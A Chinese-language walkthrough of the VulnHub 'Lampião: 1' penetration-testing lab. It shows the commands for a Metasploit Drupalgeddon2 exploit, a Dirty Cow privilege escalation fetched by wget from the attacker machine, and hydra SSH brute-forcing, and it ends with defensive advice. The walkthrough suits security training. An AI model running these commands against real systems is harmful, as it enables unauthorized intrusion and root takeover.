VulnHub-Lampião: 1 靶场渗透测试
字数 1370 2025-08-15 21:33:21

Lampião: 1 靶场渗透测试教学文档

靶场信息

  • 名称: Lampião: 1
  • 难度: 简单
  • 目标: 获取root权限并找到flag.txt
  • 发布日期: 2018年7月28日
  • 下载地址: https://www.vulnhub.com/entry/lampiao-1,249/
  • 运行环境: VirtualBox (网络桥接)

渗透测试步骤

一、信息搜集

1. 获取靶机IP

使用nmap扫描本地网络,定位靶机IP地址:

nmap -sP 192.168.31.0/24 | grep -B 2 -A 0 "VirtualBox"

发现靶机IP为192.168.31.30

2. 端口扫描与服务识别

nmap -sS -sV -T5 -A -p- 192.168.31.30

扫描结果:

  • 22/tcp: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7
  • 80/tcp: HTTP (无有价值信息)
  • 1898/tcp: HTTP Apache httpd 2.4.7 (Ubuntu) running Drupal 7

3. Web应用信息搜集

访问http://192.168.31.30:1898,发现是Drupal CMS

关键发现:

  • 通过robots.txt发现大量目录结构
  • 确认Drupal版本为7.54

二、漏洞探测

1. 使用Metasploit搜索Drupal漏洞

msfconsole
search drupal

发现Drupal 7.x Module Services RCE漏洞可用(对应exploit/unix/webapp/drupal_drupalgeddon2)

三、漏洞利用

1. 使用Metasploit获取shell

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.31.30
set RPORT 1898
exploit

成功获取meterpreter会话

2. 提升shell交互性

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

1. 使用Dirty Cow(CVE-2016-5195)提权

  1. 在攻击机启动HTTP服务:
python3 -m http.server 8000
  1. 在靶机下载并编译exp:
wget http://<攻击机IP>:8000/40847.cpp -O /tmp/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o /tmp/exp /tmp/40847.cpp -lutil
chmod +x /tmp/exp
/tmp/exp
  1. 获得root密码:dirtyCowFun

  2. 切换到root用户:

su root
# 输入密码: dirtyCowFun

五、获取flag

查找flag.txt文件:

find / -name flag.txt 2>/dev/null

替代渗透路径

1. 通过Web应用获取凭据

  1. 浏览网站页面,发现可通过修改URL中的数字获取隐藏文件:

    • audio.m4a
    • qrc.png (扫描后显示"Try harder!")
    • LuizGonzaga-LampiaoFalou.mp3 (音频中可听到用户名"tiago")
  2. 使用cewl生成字典:

cewl http://192.168.31.30:1898/ -w dic.txt
  1. 爆破SSH密码:
hydra -l tiago -P dic.txt -v -t 10 ssh://192.168.31.30:22
  1. SSH登录后使用Dirty Cow提权(同上)

关键知识点总结

  1. 信息搜集:全面的端口扫描和Web应用指纹识别是成功的基础
  2. 漏洞利用:针对已知CMS版本快速定位可用漏洞
  3. 提权技术:Dirty Cow(CVE-2016-5195)是Linux系统提权的有效方法
  4. 替代路径:渗透测试通常存在多种攻击路径,需要保持开放思维
  5. 工具使用:熟练使用nmap、Metasploit、hydra等工具提高效率

防御建议

  1. 及时更新CMS系统和插件
  2. 禁用不必要的服务和端口
  3. 使用强密码策略
  4. 定期进行系统补丁更新
  5. 限制robots.txt中暴露的目录信息

附录:常用命令解释

  • g++编译选项

    • -Wall: 显示所有警告
    • -pedantic: 遵循ANSI/ISO标准
    • -O2: 优化级别2
    • -std=c++11: 使用C++11标准
    • -pthread: 链接pthread库
  • hydra参数

    • -l: 指定用户名
    • -P: 指定密码字典
    • -v: 详细模式
    • -t: 线程数
Lampião: 1 靶场渗透测试教学文档 靶场信息 名称: Lampião: 1 难度: 简单 目标: 获取root权限并找到flag.txt 发布日期: 2018年7月28日 下载地址: https://www.vulnhub.com/entry/lampiao-1,249/ 运行环境: VirtualBox (网络桥接) 渗透测试步骤 一、信息搜集 1. 获取靶机IP 使用nmap扫描本地网络,定位靶机IP地址: 发现靶机IP为192.168.31.30 2. 端口扫描与服务识别 扫描结果: 22/tcp: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 80/tcp: HTTP (无有价值信息) 1898/tcp: HTTP Apache httpd 2.4.7 (Ubuntu) running Drupal 7 3. Web应用信息搜集 访问http://192.168.31.30:1898,发现是Drupal CMS 关键发现: 通过robots.txt发现大量目录结构 确认Drupal版本为7.54 二、漏洞探测 1. 使用Metasploit搜索Drupal漏洞 发现Drupal 7.x Module Services RCE漏洞可用(对应exploit/unix/webapp/drupal_ drupalgeddon2) 三、漏洞利用 1. 使用Metasploit获取shell 成功获取meterpreter会话 2. 提升shell交互性 四、提权 1. 使用Dirty Cow(CVE-2016-5195)提权 在攻击机启动HTTP服务: 在靶机下载并编译exp: 获得root密码:dirtyCowFun 切换到root用户: 五、获取flag 查找flag.txt文件: 替代渗透路径 1. 通过Web应用获取凭据 浏览网站页面,发现可通过修改URL中的数字获取隐藏文件: audio.m4a qrc.png (扫描后显示"Try harder !") LuizGonzaga-LampiaoFalou.mp3 (音频中可听到用户名"tiago") 使用cewl生成字典: 爆破SSH密码: SSH登录后使用Dirty Cow提权(同上) 关键知识点总结 信息搜集 :全面的端口扫描和Web应用指纹识别是成功的基础 漏洞利用 :针对已知CMS版本快速定位可用漏洞 提权技术 :Dirty Cow(CVE-2016-5195)是Linux系统提权的有效方法 替代路径 :渗透测试通常存在多种攻击路径,需要保持开放思维 工具使用 :熟练使用nmap、Metasploit、hydra等工具提高效率 防御建议 及时更新CMS系统和插件 禁用不必要的服务和端口 使用强密码策略 定期进行系统补丁更新 限制robots.txt中暴露的目录信息 附录:常用命令解释 g++编译选项 : -Wall : 显示所有警告 -pedantic : 遵循ANSI/ISO标准 -O2 : 优化级别2 -std=c++11 : 使用C++11标准 -pthread : 链接pthread库 hydra参数 : -l : 指定用户名 -P : 指定密码字典 -v : 详细模式 -t : 线程数